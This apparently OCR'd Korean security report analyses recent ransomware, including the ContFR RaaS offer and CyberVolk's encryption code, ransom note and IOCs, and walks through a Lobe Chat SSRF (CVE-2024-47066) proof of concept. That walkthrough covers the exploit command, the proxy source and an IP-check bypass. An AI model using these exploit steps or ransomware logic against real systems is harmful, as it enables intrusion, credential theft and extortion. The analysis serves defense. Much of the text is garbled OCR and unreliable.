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New ransomware variant
0 RansomHub 74
Dharma : .cunt, .ior

Xorist : XiN
Stop : .hlas
Proton : .cipher
Makop : .pgp775

em Chaos : .escovinda, .tyson, .encrypted
Medusalocker : .foxtrot70
m TeslaRVNG : .secles2

New ransomware & group

106 Soleenya, Valencia, Orca, Osyolorz, BlackLock, ContFR
’ «?'e \
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e
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e g5/20y28 37 m

3% 2.2024d 99 AAMge] 9F ¥}
ANzE AY
9 dole Al Hs Mz ffe] TV 7IEel &Fdd El Dorado 1H°]
BlackLock ©¢]ghi= olFo2 gHdy da, 1 oo Ayt ddgo] 1Fo] o s
9 ¥ 10 ¥, Valencia L&°] 548 &= 5 A9 Jax= AAXNFLY. 9 € 16 o= Orca
Al 1Fo] T EHIIS T AFRAA 2 HE IExE AA Y. o]F HuyE
gxo] Folux] koka, 9¥ 25 ARHE tdas] fF dHolAo H&ES 5= e Aok

COI’ltFR Espace abonne

RAAS - Ransomware intégré a un fichier PDF, & faire ouvrir a vos victimes ou a insérer vous-méme, Windows et Mac, ne fonctionne pas sur Linux.
Tableau de vitcimes et récupération de données possible depuis votre espace abonné.
Configuration de votre ransomware a votre premiére connexion, puis modification possible selon votre formule.

Contact :

Formule i Durée Fonctionnalités
TEST 30 jours Infection uniquement en ligne, modification 1 seule fois du ransomware Commander
BASIC 6 mois Infection méme hors ligne, 10 modifications du ransomware Commander

ELITE Infection méme hors ligne, modification illimitée du ransomware, support chat Commander

3% 3. ContFR RaaS

A AE Mu|A Y2 #Fufst= A9+ RaaS 7} @At ContFR 158 PDF & %3
A 31}tsl= Windows, MacOS #d & 7] 57kA] FE3A #ofsla ol Windows, Linux
H Ao vla] AthFos =24 veEltE MacOS H A @A ol E AF83itts EAo] gt}
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1% 4. Osyolorz Collective ThaY H o] A

Osyolorz Collective E‘rL At 2AE AT AN ES Aol HYE2Eg A ek,
Sy AEE 15 /) T8 27 oz AR J# 28 71F So w7t dgolgE s
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CYBERVOLK

Dear visitors,

We are CyberVolk, hacktivists of elegance. We have taken control of this site
We do not seek to destroy, but to reveal. To show what is hidden. To bring light
In Shadows We Trust, In Silence We Strike,

CyberVolk.

TELEGRAM GROUP

All rights reserved 2024. Cyber Volk

% 6. CyberVolk 1§ &7 ¥ o)X

CyberVolk 718& 23] 3 € GLORIAMIST INDIA = o202 WA gy aalidr] 35S
Alztath, st o2 X GLORIAMIST #t= IEH|~E 180 Zd 12 YiE
dyais 53 FEdsd, dEURA SF5S AFT Aoew duxv. Ty iEdS
A A8F= GLORIAMIST INDIA & AXHoz dAad =719 719 thade® F2 DDoS

342 A Bae AT

o

CyberVolk. Group.
ed from . Solnts
Bra (Boss)

Choose our new name.

CRYPTOSHADOWS

CyberVolk v

CYBERVOLK
AURORAFLARE

' Greetings to citizens of the world . Now GLORIAMIST India is now
CyberVolk.

RS i CHTG FeE - GLORIAMIST India >> CyberVolk 2
. Group.

s we decided our new name will be: « CyberVolk

d1 g1

'ﬁ'ln Shadows We Trust, In Silence We Strike.

&2 g2 &

L O]

Q Leave a comment E:) Leave a comment

a3 7. CyberVolk IF °|F FEEF) R IF ol 93P
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6 ¥ %, GLORIAMIST ¢ A @z} DeathHack(Patcher)©] z%hﬂ%‘i% S Qo dy o
WAl A 7} AlA$1aL, GLORIAMIST ¢F GLORIAMIST INDIA &= 6 9 6 458 55 o3l
17 4 5 Aol L} GLORIAMIST INDIA + MZ& 2FHS 98 FxE AA3Y. g
FRE &3 CyberVolk #h= o] Fo] Aty o d3] Ze| ~EQlES A Agt= CyberVolk +=
DDoS +45 AR 7|F9] U 2E &d5s oo Yl gk

e
%”

New officially update of our ransomwar erVolk Ransomware).
There Features are given below.

atails of our ransomware:
to our team. ® Developed wit
e e ® |t will encrypte all files with .CyberVolk extension.
with C/C+H
-Poly 5+ AES + jantum-resistant al
s are also encrypted by 096 algorithm)

® AV undetectable

® |t can decrypt and encrypt files without any servers.

Sa, victims must pay and take decryption for d»:crj.,ptlcn'u. : ) o ~

If decryption key is not correct, all files will be 0KB Without any ser an be d alone on victims PC.

-It continuously encrypts files until decrypt key is inputed. (SIS <e decryption key for decryption.
If decryption key is not correct, all files will be OKB.

% 8. CyberVolk @AdHo] #vl 2(F: 7] ¥A, $: A HA)

741 ANE A ades Aol vl AFHY. 27 Wl s AE 9
10 dF-He 923 dudsd GAE wd% A wds Ao HA wx

2ol Jl dol| A=

agdolol G 4% Bl Z92 AH§H] AR, CyberVolk LFE o] W] U

el Hishe ol ks, $E At gERA g 2901 A $54 9%
Sol 36 47} YA Bow) RE Aol OKBE N Aolehn v,

9 ¥ 23 d, AH g3 =79 CyberVolk StealerV1 & #ujs}l7] A|zH3Ick, &g Stealer &
28, gais 5 AXEY AR HeeA dHeoly, 4& std X3} AR 28 A|2H
AR &3 7S 7hA] BHAgsta vk dld dHIZEE AAFE PEHE 1,000 (sl of
130 7+ D)ol o= 3 o)

O YR MY ZAEE: J|E ARYH 20 AN 20 2N ME UX AREHEL F| 80| si5517| off2 2z wN2F
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infosec

CyberVolk Ransomware

AES 212|Z02 ntY %S3}HE 31 RSA Y2 SO 7| ES

w.

b AES a

File A Encrypted
File

- K
=

o2t 7/

srand(time()

gz g4 | T 3717 1KBOI2E: TH 2SS
e 37|17k 1KB 0|4} 10KB O]9t X 1KBY L =3}
oY 37|7t 10KB 0|4 10KB ZHZAOtC} 1KB 2HE 453}

. T B}
HEQ Dialog Box
HE A3} g T
9 £
J —Q
H
AES&RSA 2 &3} HE|AZE *Eﬁa
—o
.
CyberVolk_ReadMe.txt - Windows 2%

DYF BEO AYO 2V S8¥H)
Greetings.
All your files have been encrypted by CyberVolk ransomware.

WM E Please never try to recover your files without decryption key which | give you after pay.
They could be disappeared?
You should follow my words.
Pay $1000 BTC to below address.
My telegram : @hacker7
Our Team : https://t.me/cubervolk
We always welcome you and your payment.

. CyberVolk_ReadMe.txt
LfEr3fe - = Pl ry aftything!
k-l A \\ N /" Just follow us!
1 3 Contacts on Telegram:
A A A0 p tame/CyberVolk_K
CYRERVNIN @hackerk7
4 @ghostdoor_maldev
@CyberVolk_bot
\

HE &}
)—c{ .CyberVolk
= 2lof
()——4 C/C++

1% 9. CyberVolk @A4o A&
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CyberVolk @A ¢o] A

infosec

Initial Access

Discovery Ol HEotUS St MUY Of H=

o Za| X} ZRAA A
A|AE ST A|ZH EHQI
A|ARY B AJZH 2l Defense Evasion

) SEHMN | om o am
Execution afisfe Clt7] Ug of & x|
FIE PR R

2% 282 08 271 28 A8 | | T—
Impact
_/
glo|e| 53t
b=y P Z2HA B8
E
% 10. CyberVolk @ dlo] ¥4 A

CyberVolk #A9ol= sl=zmdd vEW ydS o]gs] niestd HZFARE APl
Azde] AAE SAWFER JA] Z2Ho ARE s, Y A= “tmp.bmp e
o5 HEW 9wdS A3l AFESE HEY U ol 1y y g

Just follow us!

"'ont/aets on Telegram:
Pl /CyberVolk_K
VRER " - @hackerk7y |
GYBE OLK @ghostdoor_maldev
@CyberVolk_bot

ad 11 9A E-99 A%d HWERN 3L (tmp.bmp)

st S WA § AR AeAeS & 4 e Windows H§ & Dialog Box &
ATt #e Aol CyberVolk o] ek 27, A2t 453td A3 FAS AR
AREAE Al 1,000 2l (3hsk oF 1307 €& $F3EE et E, 5535} 7

=
= -1 =
Qi BiENo} EASD, 5 A7 S EGE BolnE E718 dude =R wEd
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Hacked by CyberVolk

Time Remained:
I T

My BTC Address:
bclg3c9pt084caf hn8wvh7mqg04rgbnaew0Omk87

My USDT TRC20 Address: G
RS/ JLME/LYRETVOIL_ R 1xarMAbSLLMStn4RZi63cTH7tpbodGNGbZ IR IOStUDE _HaleeEy

a3 12. CyberVolk Dialog Box

veveloped Dy

H Foll F71E F2 A APPDATA% © 7429 time.dat o]t olgo= A3
AgTh @dglelh Ay dg shddel 18000 oleht @ A, 1 zuheh 9
Al 14 FobRA AGE sk ol wad A Ade Sdi de
AE AR T, Azke] AdTigE @dslelrt FREAY Axdel teRe B
MrE 49 gt Acw sl

Tlme Remalned

a9 138, &2 Az g9 WA

10 %APPDATA% : Windows A|2ZHIOIM ALEXL D& HO|HE S7|2t 37| ot EOE 7t2|7|= Al2H sHdds ditxoz
"C:\Users\{AI-& Xt BN\AppData\Roaming"2 2 HHE|0| UL}
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T, AR WA E STHekA] RS 1 vkt 2 #E AR T2 A AT A FRIA
A=A A F85A)0Th ik CyberVolk @A glo]s= AFA A 2l A &4 W 42tto] &84
27] wit-o] PowerShell & oy PC & A2 FTastd dddo Ags a3 5 vk

g Feo] Ajgle] FEi FSH CyberVolk @AdYol:E o ¢wsts Fnjdt. e
glo]lnE ealay o]% 4 t]2x39 FE= raTe EAEE FE fdAERE g5
& L ZF EolH o] FHAHS Y E A Users HIEZ 7L EA8=A
QlskaL, s Users st9l HeEnt ¢tssts xggit)

Jov 211 rH

wsprintfW({5tring2, L"Ec WhaASAA", w15, L"Users™};/f/ C:\\Wsers
if ( wcsnomp(v9, String2, woslen{String2}} )
recursive search directories({String2, a2);
return;
h
if { {(GetFileAttributesW(v9) & 2) == @ )
1
LABEL 16:
wsprintfW(FileName, L"%s*.*", v9};
FirstFilel = FindFirstFileW { ileName, &FindFileData};// C:\WUsersi*
lpFileMName = FirstFileld:

a3 14, Users ¥ EH <

Users 9] 3¢ tEEZQAE ZE Z¢ 2 AL 538 HAS FEIY. Ty AS-
CyberVolk_ReadMe.txt 2t U< dd Zdo] A, WA steadsd A -E
W&s Ao, 1 Bl ojn]  dsstE  3d xCyberVolk 9 WAHRE
CyberVolk_ReadMe.txt & A&t BE 9dS S5 3}t

if ( wcslen(FindFileData.cFileName) > 8xFF
|| FindFileData.dwFileAttributes == 4// check FILE_ATTRIBUTE_SYSTEM
|| FindFileData.dwFileAttributes == 8x10888 )// check FILE ATTRIBUTE WIRTUAL

goto LABEL_36; // FindNextFilel

if ( (FindFileData.dwFileAttributes & @x18) != @ }// check FILE_ATTRIBUTE_DIRECTORY (is directory?)
break;
FileName[®].m128i ile[@] = @;
wcscat s(=iL_'a-e, Bx3BCu, vI};
wcscat_s(FileName, ©x38Cu, F

eData.cFileName);
if ( !string_comparison(FileName, L'

at
Cy he*Vclk ReadMe.txt") )

1
if { a2 == 101 )
1
if ( !string_comparison{fFileName, L"CyberVolk™}) )
{
encryption(FileMame, &savedregs);
print_log(L"Encrypting File : ¥s\n", FileName);
s

o 15, €353 49 g4 g
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3 dsst gL v|E FdHd gost A CyberVolk 7F F7Hd #de A=
Ash= Aoz AzZkett, o]F dAAl AlxHEl AIZES Al=E AT H O dsE A
32Bytes ZL7]¢] =3t 7]eF 16Bytes 719 X713 #HHAV)E Idvitt A s

Sow T FAvlel uwet dAAl dEste} HFE Jasts HIsch A Zr)E 4Est
Wl e ol Yy g

infosec

1KB 2%=3}

9KB H4 md

1KB ¢33}

9KB M4 md
e oy :
[ )
1KB L& 3}
e oy
1KB 0|3} 1KB X1} 10KB 0|} 10KB =1}

a3 16. 3 ¢33t By

A 3 F7)7F 1KB olatd A dA fdg dssettt 1KB 2% 10KB ©]8kel U
A 1KB 7 ¢z 3t} 10KB & Z3shd 10KB 4wl A 1KB vk o33k}, sl
WA o2 tsslel e tEst At FUbE AR U= Agsh Y GEstel =
AES &aEl5s ARgskal, ARES 7le @A dloldl st=3Yd ¥ RSA FUN7IE o] &3
Hostth 9 dmstel ARgd %718t WEHe= 98 adE dsstdE gdel W gk
Freta, BE® 453 e 9d ul Fol F3g. deafid s v o3 sl

ChaCha20 &alg]5& AHEETAL 8 Folu, £4 23 AHgshA] e Aoz Selilit.
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g =t M A A" dHRE HolHE &8 4 ZY-l
dH=ES AT

ransomnote_data db 47h

I aReetingsAllYou db ‘reetings.’,8Ah
db " All your files hawe been encrypted by CyberVolk ransomware, ',8Ah
db ' Please never try to recover your files without decryption key wh'
9 db "ich I give you after pay. ',8Ah

42 db 'They could be disappeared?’,8ah

F db. "You should follow my words.’,8Ah

db "Pay $1888 BTC to below address.’,8Ah

78 db "My telegram : {Ghacker?',@ah

db "Our Team : https://t.me/cubervolk’,8Ah

db ‘We always welcome you and your payment.’,@8

align 1s8h

ag 17, st=E9dE AH=E Y&

olr

Al AdFe nke} o] CyberVolk #ASole= 715 dEd vtz 53533 4 = 7150
o} AFE&AE 4EH3E 7= BAPPDATA% 74 %9 dec_key.dat ¢o]|& o= Xﬂ%}%q— g
3t 98 A4 d Eo AR dnst 71E HEior sta, dmst 7] HTtels
4096Bytes =719 RSA 7iQ1 7|7} Hesid. AW HAA 2= 36Bytes 4dol9 71E
QTeta, ¥ AAY & 4ol 7= ZEHS)

GetDlgItemTextA({hknd, 1881, String, 37);

if { strlen(String) != 36 )

1
MessageBoxA(@®, "Decryption Key is not correct!™, @, @);
return 8;

¥

Substitute Using Dec_key(String);

dec_key flag =

SHGetFolderPathA{®, 26, 8, 8, Arglist);

Fur‘matStrlngTDBuf'Fer(.-.J "%s\\dec_key.dat™, Arglist);
w21 = fupen( 30 W)

if ( :2; )

1

fwrite(String, lu, @x24u, v21);
fclose(v22};
return 8;

i

a¥ 18. £33 7] RS 2 AR

AL I 36Bytes o 71t AR wolE AgHTh WAool AT RSA A
A7F Aol um, AEAE 4R A HelR JFoR @ EA AF) RSA /Y
b BIA AF HelBe FYHoR JYPTE FARE FE3} /1§ 27 5 Qo
A9 237k A9k v, 71 b ggHoR BTYEA AFHE HYol flo R
ikl Bk ggHoR oFoiAA ¥m, AFH JE BIAE ALRY] G

s wdo] BT Eabe.

&0-1

o

i 1:2
}oll
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infosec

I 7“°|7|
RSA d
H

——————— >
X2 o2 mes e LSRN rsa 2353}
Atext ga)

a3 19. 34 BT 34

EQST insight | 23



CyberVolk @A o] o5 et

infosec

Initial Access

AV EFH AR E B oy 22{@ Thel AH|

Discovery Email Threat Response & Detection S S% /¥ x| X xtc

EDR SRS S o4 B AT
\ "
i oY o Cly E2| A% Mg
Execution ASR 75 24818 B2 o4 W) K
EDR #7412 B oty WA e
_/

ASR 713 243t % EDR £RHS S 4 W AT

23 20. CyberVolk @A ¢l o-gH¢t

CyberVolk @A gloj= WL HEIHAS F3] dddoAE dasith. mepa gAxg1dAY
SAE A & Waxte] wd H HESHLAS deelA F FYrt 86t HESHdS
Uewoets AegdEA FES Anti-Virus 59 £FAE AMESIAY 71 S0l A wdol
A 247F A=A AFA A5l 2 dstE Email Thread Response & Detection 541
To ol&d AEES s Atk
wgk, WAl Ao Zask 7+ 2ol AAe] ARggE FH AA ST
CyberVolk #Adglol= Mo T2 A~ 5o EABHAl 7] wjol Abdel w3k
2 gEEg e AS A AY HAgoR FoAgeE 5 2A7F Basith. F7F2 ASR™M
T3S Aty EDR £F4& AFgEl s 4Ae 54 Z2AAE Ads] oY odsste}
olA 9= we 2 9t

mpAlg o 2 CyberVolk #Ao)E= At Hew dss)s)
2hA|EFA] k7] wio] Windows 7] 7|5 S £
E3E 4 Q) o] Qo F2 HolHE HEo UESY
Hass 4 Q.

H O R

2 10, H
e rlo

" ASR (Attack Surface Reduction): 3ZAt7t AtESHE &8 ZENAQL AW It ZE2MAE KIEHS= 23 J|s
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Indicator Of Compromise }1

CyberVolk : SHA256

de0b74917fe24c2b38e2d1172b7352f88bf8b3df64b6d44ca5f317db85aeb324
489e921e3f060b15e3825ca53205eddecbe65583b3de90bb3550049d2c278de8
6343bb6570bdea7f0e829312cf5829defa9eb69238fefabc272650e1e5219a86
102276ae1f518745695fe8f291bf669856091723244881561bb1a2338d54b12

&

File Name

CyberVolk_odz9rjs5efm3yat2vb7w40cq16nx8hkpilug.exe
ransom.exe
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H 1 AO|E
» BleepingComputer &2 &#o]#] (https://www.bleepingcomputer.com/news/security/linux-
version—of-new-cicada-ransomware—targets—vmware—esxi—-servers/)

* BleepingComputer 32 &3 o] %]
(https://www.bleepingcomputer.com/news/security/ransomware-gang-deploys—new-malware—to-
kill-security-software/)

» BleepingComputer 32 &9 o)A (https://www.bleepingcomputer.com/news/security/ransomhub-
ransomware—abuses—kaspersky-tdsskiller-to—disable-edr-software/)

*« TRUESEC &2 E21 (https://www.truesec.com/hub/blog/dissecting—the—cicada)

*» modePUSH &2 =1 (https://www.modepush.com/blog/highway—-blobbery-data—-theft-using—
azure-storage-explorer)

» ArcticWolf &2 &3 o)A (https://arcticwolf.com/resources/blog/arctic-wolf-observes—akira—
ransomware—campaign-targeting—sonicwall-sslvpn-accounts/)

o F3dolE¥H (https://www.data.go.kr/index.do)
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Research & Technique

Lobe Chat SSRF F 23 (CVE-2024-47066)

Lobe Chat & 22 A22=2 AFHE FHA tzriel 5§ LLMY? Z2EqQe Zyod9ad),
TS A¥YsY, OpenAl ¢ ChatGPT Claude, Gemini, Groq, Ollama %
kst Al 29 2 Z2E S &8 Ay o ZE Aol AE 5 wad Q)

% R A
71 ilﬂr 1‘5112 HIZgh 32 57k 7 o] 7) AFo]Ee| A Lobe Chat & Wi3Esl= Z0]
ERF 1

ZXA]: fofa.info

3% 1, Lobe Chat A% £74

F4(CVE-2024-

20241 9€¥€ 23 Y, Lobe Chat ¢ SSRF(Server-Side Request Forgery) ¢
QA= P F40

47066)e] AR Y Ak e A W) 27 7oA UA
oE Aol vIED A wAE

2 LLM(Large Language Models): B2EE 2l APA3}= 52

rEE 2z} T &
B X ZE=(Front-end): AFOIEW ¢ 5o AREA} QEFH o] ~(UDE /Mdal=s #of
4 OSINT(Open Source INTelligence): F7/HE & oA FgHHoz +33 AH
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QIE Mula FA A Al WEY F42E ggolgdAlHdeE A4S 98 F4A AF 9
33 4 Ak 2024 9 3 € 11 ¥, LLM A AR~ & 7
NextChat oA % FAFsE SSRF  #H2FAH(CVE-2023-49785)0]
IEEQE ofZg o)A AFE A] SSRF FH o] BAstE=R &eld Har) vt

o ol4) FATE SSRE ASAS Bl AT A2 5 Qe w0 dolel Hew
F 93, 9 BN SSRE AFHE ol8stel ool W AYe £4F 5 9

B 24 AL2|2

CVE-2024-47066 ¢] &

i)
>,
O
Ak
to
rlr
=
o
M
O

infosec

Lt i
(TSR U R .o A I

@ CVE-2024-47066

34%t

TOP
T SECRET|

@ IAM XHASY 23

l®

5

@ UABA L AYTE YA

18 2. CVE-2024-47066 &2 AvEe

@ SAXE LM ZEEANE I UJAAZ Lobe Chate AFHR £ F|fst A{H| EbA

@ BZAXHE CVE-2024-47066 *A4HES 0|830] EC2 QAEA |AM XAHATY =3

® SARE Yo EC2 UAEHA |AM AHATYOZ BT EC2 AAFHAN A RE HX|
@ BARE AHO) HXE %N DER 52 M= oF

15 g t}o] @ A (Redirection): HTTP oA gt}o] &AL 3xx A =S AW $goz 23 va-AE A3y A2 URL S
A& EA] R =g
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=1
=

ol

rx

mJ 0] t

CVE-2024-47066 ol ket AT E9 o] WAL th&a} 2},
S/W 7& #oF bH

LALE

P~

o
T

0
rir

Lobe Chat 1.19.12 O|™

H HAE 24 14 e

HAE 37S F1%35lo] CVE-2024-47066 ¢ =2+ 4SS Ay E o},
= L

Lobe Chat 1.19.12
(192.168.102.74:3210)

Kali Linux
(192.168.216.131)

B [ EAE

Step 1. &4 T4
CVE-2024-47066 #H°Fd H2EE ¢3F docker 7o) AA=E EQST Lab ¢ GitHub

=

Repository URL & t}&-3} 7t}

URL: https://github.com/EQSTLab/CVE-2024-47066

B>
Lo
5=
e
i

$4, 34 PC oIM git clone BHoIE Abg3te] CVE-2024-47066 A%
GeEEd. ofF U ANCSE gt usl #3752 @+ Ak

> cd docker
> docker compose up -d

QO & 192.168.102.74:3210/settings/mod.

Kali Linux # KaliTools = KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Hacking DB OffSec

Settings About LobeChat

Version

@° LoheChat
& Changelog Upgrade

v1.19.12 New

2% 3. 9 Lobe Chat &4 &<l
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Step 2. FFH HXEE

CVE-2024-47066 # k4 HAEZE 918 PoC 7} A4E EQST Lab ¢ GitHub Repository
URL & th53

*URL: https://github.com/EQSTLab/CVE-2024-47066

TA2 PC oA git clone WHZS AlE3dle] CVE-2024-47066 A2l PoC =
the 2= g,

Jhome/kali
clone https://github.com/EQSTLab/CVE-20:2
g into "CVE-20
Enumerating objects:

Counting objects: 1€

Compressing objects: 26/

Tﬂti] 31 'd”1t“ 9' reused 18 (delta 2), pack-reused B (from B)
; (3 17.64 MiB/s, done.

a9 4. CVE-2024-47066 PoC H-22Z&

PoC 392 CVE-2024-47066.py = A3 5 a1, 342 PC oA HAF3 do|=2=7}
93] #}2] Lobe Chat 9|4 A&}
| $ python3 CVE-2024-47066.py v [Lobe Chat H O[X|] i [L} £ H O|X]] \

A H> UFolAT A 7Fs3k http//www.internal-service:4000 F4&7F 55 0]
AL, G AH]z=e] SSRF 34 S /\]_I_OH:— AmMe= then 7},
| $ python3 CVE-2024-47066.py -v http://192.168.102.74 —i http://www.internal-service:4000 |

g PoC A3 ANEES ofgfo} o] &A% PC ol 4= 3.
/home/kali/CVE-2024-47066
CVE-2024-47066.py -v http://192.168.102.74:3218 -1 http://vwww.1nt
ernal-service: 4000[]

3% 5. PoC A3 AWUZ oA

o

C 7} W&o +=% 3742 http://www.interal-service:4000 & &3 2+ A

g

%] Exploit loading, please wait.
rten URL: https://sho tu:l qt!’r\,rbl:l.

g S5RF Attack

I8 6. 5 Heoly 23 44
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[
ﬂ
Q
N
>
=
Ao
iz

kA Al B A= CVE-2024-47066 FHoFdo] WA= g9l 34 AU es
TAA o2 Arit) Step 14T AFEAERYH Y B T4 HS 2H Y olF 35k
HokS- thE ), Step 2 oA SSRFE &2 el A™3lar, Lobe Chat o 7} 4 &= 34
A 2 5 At

Step 1. SSRF & Zol| F kst X3 &4

1 AHgx A4 £33 (Custom Plugin)

ohFsl Ze]191S A Y3kE Lobe Chat & Plugin Store W Z2]71¢ Qo% AFgx} A
Ze] 1S A dght

= N & @ localhost:3210/settings/agent X sk &1 A A&

o
% Setting Plugin List | & Custom Plugin |@

and model settings

e danid OOl SeELling

l:l Artifacts

Common Settings

Prefer

b7

System Assistant
Language Model

DALL-E3

Text-to-Speech

Default Assistant

@l » 8 %

About : Tongyi wanxiang Image Generator

©

New version available: w

—h
(5]
=y

)

a7 7. Custom Plugin B2 B2

oz BYe wi T ssol FAHE WHE /15§ Manifest 0] F2E5 Qaol
Manifest 591 ofgjs} 22 A}3

e

identifier E21¢0 17 AMEX}
api EI29 2= APl AHIO[AT} 7|XHE HIE
ui E21010] ZHEJE QHHOAE B2 FA
gateway API QHIO|AE HO|St7| 2|2t HO|EQ0] X|7F
version So{aQle HH HE
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# H Aol me} Manifest 3¢ b3 #£2 json Hd=2 FAHT
{

"api': [
{
"url": "http://localhost:3400/api/clothes™,
"name": "recommendClothes",
"description": "Recommend clothes to the user based on their mood",

"parameters": {
"properties": {
"mood": {
"description”: "The user's current mood, with optional values: happy, sad, anger,
fear, surprise, disgust",
"enums": ["happy", "sad", "anger", "fear", "surprise", "disgust"],
"type": "string"

3
"gender": {
"type": "string",
"enum": ["man", "woman"],
"description”: "The user's gender, which needs to be asked for from the user to
obtain this information"

}
"F‘equir‘ed": ["mood", "gender"],
"type": "object"
}
1,

"gateway": "http://localhost:3400/api/gateway"”,
"identifier": "chat-plugin-template”,

"uit: {
"url": "http://localhost:3400",
"height": 200

"\’/er‘sion": "t

Lobe Chat oA AF&xF A3 Z2)7191S &S v Same-Origin Policy'ol] $Juj=]o] o &7}
Uehd 5 sleh ol proxy & #8314 & =S 74l gt
Add Custom Plugin X

o =

>

https://Ims.eqst.co.ki/home/brd/bbs/listAtciMain?mcd=MC00000081&bbsCd=LETTER&ctgr & _

LobeChat will install the glugin through this link

. Install via proxy (if encountering cross-origin access errors, try enabling this option and

reinstalling)

Preview of plugin display

Cancel Install Plugin

roxy & 8% 242 tha¥ 2ol /api/proxy AEEJENM AAHZ 2ol 245 B

a3 8. AHEA A E39ad LT

6 Same-Origin Policy (SOP): oW FA oA E&2 TAY 2THET & SH-ANA 7P gihze) 45 2835t S
At Bet iAYS
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Request
eth Raw Hex

POST /api/proxy HTTP/1.1

Host: localhost:3210

Content-Length: 96

User-Agent: Mozilla/5.8 (Windows NT 18.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.8.6613.120 Safari/537.36

O U LR e

?I httus:fflms‘eust‘cu.krfhUmefbrdfbbsf1istﬁtclﬁain?mcd:MCB@@BB@Bl&bbsCd:LETTER&ctgr[d=@1&1ang[d=enI

(::) {::} & ||| |search

Response

Pretty Raw Hex Render
26| <html lang="ko">

20 <head>

30 <meta charset="utf-8"»

31 <title»EQST IMSc/title>

7 <meta name="viewport" content="width=device-width,initial-scale=1.8">

33 <meta name="description" content="H|0|A|">

34 <link rel="apple-touch-icon-precomposed” sizes="57x57" href="/tpl/801/img/common/apple-touch-icon-57x57.png™>
35 <link rel="icon" type="image/png"” href="/tpl/001/img/common/favicon-16x16.png" sizes="16x16">

35 <link rel="stylesheet” href="/tpl/@01/libraries/font-awesome-4.6.2/css/font-awesome.min.css™ />

37 <link rel="stylesheet" href="/tpl/001/components/transition.css" />

3 <link rel="stylesheet” href="/tpl/001/components/sidebar.css™ />

<link rel="stylesheet" href="/tpl/801/components/accordion.css" />
<link rel="stylesheet" href="/tpl/801/css/hrd_common.css">
¢link rel="stylesheet" href="/tpl/001/css/webfonts.css™>
<link rel="stylesheet" href="/tpl/001/css/layout.css">
<link rel="stylesheet" href="/tpl/@801/css/effect_slick.css">
4 ¢link rel="stylesheet" href="/tpl/@01/css/jguery-ui.css" />
45 <link rel="stylesheet" href="/tpl/@01/css/jquery.mCustomScrollbar.min.css” />

3% 9. /api/proxy 23 A3}

2) /api/proxy dEZJNE A
/api/proxy & t&¥ & TypeScript ZEE A5 Ut}

import { isPrivate } from 'ip';

import { NextResponse } from 'next/server';
import dns from 'node:dns’;

import { promisify } from 'node:util’;

const lookupAsync = promisify(dns.lookup);
export const runtime = 'nodejs’;

/**

* just for a proxy
*/

export const POST = async (req: Request) => {
const url = new URL(await req.text());
let address;

try {
const lookupResult = await lookupAsync(url.hostname);

address = lookupResult.address;
} catch (err) {
console.error( ${url.hostname} DNS parser error: , err);

return NextResponse.json({ error: 'DNS parser error' }, { status: 504 });

}

const isInternalHost = isPrivate(address);

if (isInternalHost)
return NextResponse.json({ error: 'Not support internal host proxy' }, { status: 400 });

const res = await fetch(url.toString());

return new Response(res.body, { headers: res.headers });

1
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|const isInternalHost = isPrivate(address); |

if (isInternalHost)
return NextResponse.json{{ error: 'Mot support internal host proxy' }, { status: 488 }); o
const res = await fetch{url.toString());

return new Response(res.body, { headers: res.headers });

D address o A #HolA 9] [P F4Z ip EEY isPrivate & Ea] Wi F420% Flsl F
A= isInternalHost ol #7233t}

@ isInternalHost gko] true 2P 238 BuUj#| ka1 400 o2 S w3k LE]-.
® isInternalHost ko] false 218 fetch 2 84S Bja 52 t}

=
_?lg

isPrivate ¥ ‘ip’ B8 Wl 7¥Eo] vk dld ®ES vk GitHub Repository o4 A&3i=s
g1t 4= Atk
*URL: https://github.com/indutny/node—ip

a3 Repository W lib/ip.js Y-S Aw W t5-3} o] isPrivate 750 7% 28 218 o= it
ip.isPrivate = function (addr) {

/! check loopback addresses first
if (ip.islLoopback(addr)) {

return true; o

-

//{ ensure the ipv4 address is valid

if (!ip.isveFormat(addr)) {
const ipl = ip.normalizeTolong(addr);
if (ipl < &) {

throw new Error('invalid ipv4 address’); o

}
f/ normalize the address for the private range checks that follow
addr = ip.fromLong(ipl);

// check private ranges

return /~(::f{4}:)21eN. ([@-2]{1,3)\. ([8-9]{1,3) . ([©-9]{1,3})8/1i.test (addr)
|| £2¢: .f{4}.)?192‘ .168\. ([8-9141,33)\.([8-9]{1,3})3/1.test(addr)
|| /7~ Ffay:)a72h . (1[6-2]7]2\d| 2@ 31)\. ([@-9]41,3 )\ . ([@-91{1,31)%/1

test(addr)
| /o0 F {43 324600 . 2540 ([8-9]4{1,3})\ - ([8-9]41,3})%/ 1. test (addr) o
| /oF[cd][@-9a-F]{2}:/i.test(addr)
| /~fe88:/i.test(addr)
| 771118/ . test(addr)
| /*::8/.test{addr);

i
D ATTARTE 7171 P9l 20 4914 Selgr

@ isV6Format .2 F47} Py o1%] el obd AS [P FAE AR HSE|A 27}
ohd=] gl

(@)}
oflt
1>
o
N
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10.0.0.0 ~ 10.255.255.255 (Class A)

172.16.0.0 ~ 172.31.255.255 (Class B)

192.168.0.0 ~ 192.168.255.255 (Class B)

169.254.0.0 ~ 169.254.255.255 (Link Local Address'")
fc00::/7, £d00::/8 (AF IPv6)

fe80::/10 (IPv6 Link Local Address)

S1 (RN )

-] U
[-'O
ot
Eo

3) /api/proxy AE=FQJE FEH 23
9 A e W, P FaE Jhos AN o)) WY 2L YeT % & Yok
JavaScript ] fetch 3= 84 Al v 22 7] w4 @S 2=tk
let promise = fetch(url, {
method: "GET", // POST, PUT, DELETE, etc.
headers: {
// the content type header value is usually auto-set

// depending on the request body
"Content-Type": "text/plain;charset=UTF-8"

3

body: undefined, // string, FormData, Blob, BufferSource, or URLSearchParams

referrer: "about:client", // or "" to send no Referer header,

// or an url from the current origin

referrerPolicy: "strict-origin-when-cross-origin", // no-referrer-when-downgrade, no-
referrer, origin, same-origin...

mode: "cors", // same-origin, no-cors

credentials: "same-origin", // omit, include

cache: "default", // no-store, reload, no-cache, force-cache, or only-if-cached

redirect: "follow", // manual, error

integrity: "", // a hash, like "sha256-abcdef1234567890"

keepalive: false, // true

signal: undefined, // AbortController to abort request

window: window // null

1)

o] ¥ redirect ¥4 2733k= URL ¢ Zltjo|adS upebdx] AA3) follow 7] 3> AFso=
gitfo]lAAE = URL o 245 3}3l, manual 7] #2 ltpo]dMdE w=Xx] &=t} error 7] 3k
ool vkl Al ol E HEESI) redirect A 7]E 7] 3RS follow ©|E=  gtjolElX o]
